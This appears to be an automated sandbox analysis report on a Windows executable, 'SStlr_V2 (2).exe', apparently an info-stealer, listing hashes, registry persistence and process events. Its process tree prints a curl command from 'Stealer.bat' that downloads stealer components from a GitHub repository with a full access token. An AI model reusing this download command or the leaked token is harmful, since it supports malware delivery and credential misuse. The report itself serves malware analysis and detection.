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Analysis
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max time kernel
71s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
14/10/2023, 02:28
Static task
static1
Behavioral task
behavioral1
Sample
SStlr_V2 (2).exe
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
SStlr_V2 (2).exe
Resource
win10v2004-20230915-en
General
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Target
SStlr_V2 (2).exe
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Size
155KB
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MD5
16d70e81a0949a7674d2c76a88c913c2
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SHA1
c3b6aa2f00181e8329ff3b187cb4ed6c2f2258eb
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SHA256
66d4f3fe2fe07de83e225eec376279900055e990670e71fc671da6f15c5e804d
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SHA512
a4f03734917ccf566a9c60da34237c1d4bd1728449b7023cc2add666aa4abd5d6cb24a1be705c8e484568c21051a99a48e66b66d0c61515ab22a53e3896cacf6
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SSDEEP
3072:TahKyd2n31r5GWp1icKAArDZz4N9GhbkrNEkYXMt:TahO/p0yN90QE+
Malware Config
Signatures
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" SStlr_V2 (2).exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4968 wrote to memory of 4552 4968 SStlr_V2 (2).exe 86 PID 4968 wrote to memory of 4552 4968 SStlr_V2 (2).exe 86 PID 4552 wrote to memory of 3380 4552 cmd.exe 88 PID 4552 wrote to memory of 3380 4552 cmd.exe 88
Processes
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C:\Users\Admin\AppData\Local\Temp\SStlr_V2 (2).exe"C:\Users\Admin\AppData\Local\Temp\SStlr_V2 (2).exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\SYSTEM32\cmd.execmd /c Stealer.bat2⤵
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\system32\curl.execurl -s -H "Authorization: token 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" -o "C:\Users\Admin\AppData\Local\SStlrV2/package.json" -L "https://raw.githubusercontent.com/SoraiaProjects/SStlrV2/main/package.json"3⤵PID:3380
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5cd8ca2ddc817a8a2732133451f07cba4
SHA10a96d86f2a309793314ca35926bccbf97d8f4cbd
SHA2566e77d3ab59700ed184a24ecbae1c0531a23b0bf4e4a7267f32a72533312b4cd7
SHA51267bfc9f60b58052d8ba096b05c5c36f40c39825998ea8c1c6476dd061e3d9b7ea9a2c9355b63ce65ab361c04aae8f01c2c918cbadbfba050ad931b811462aace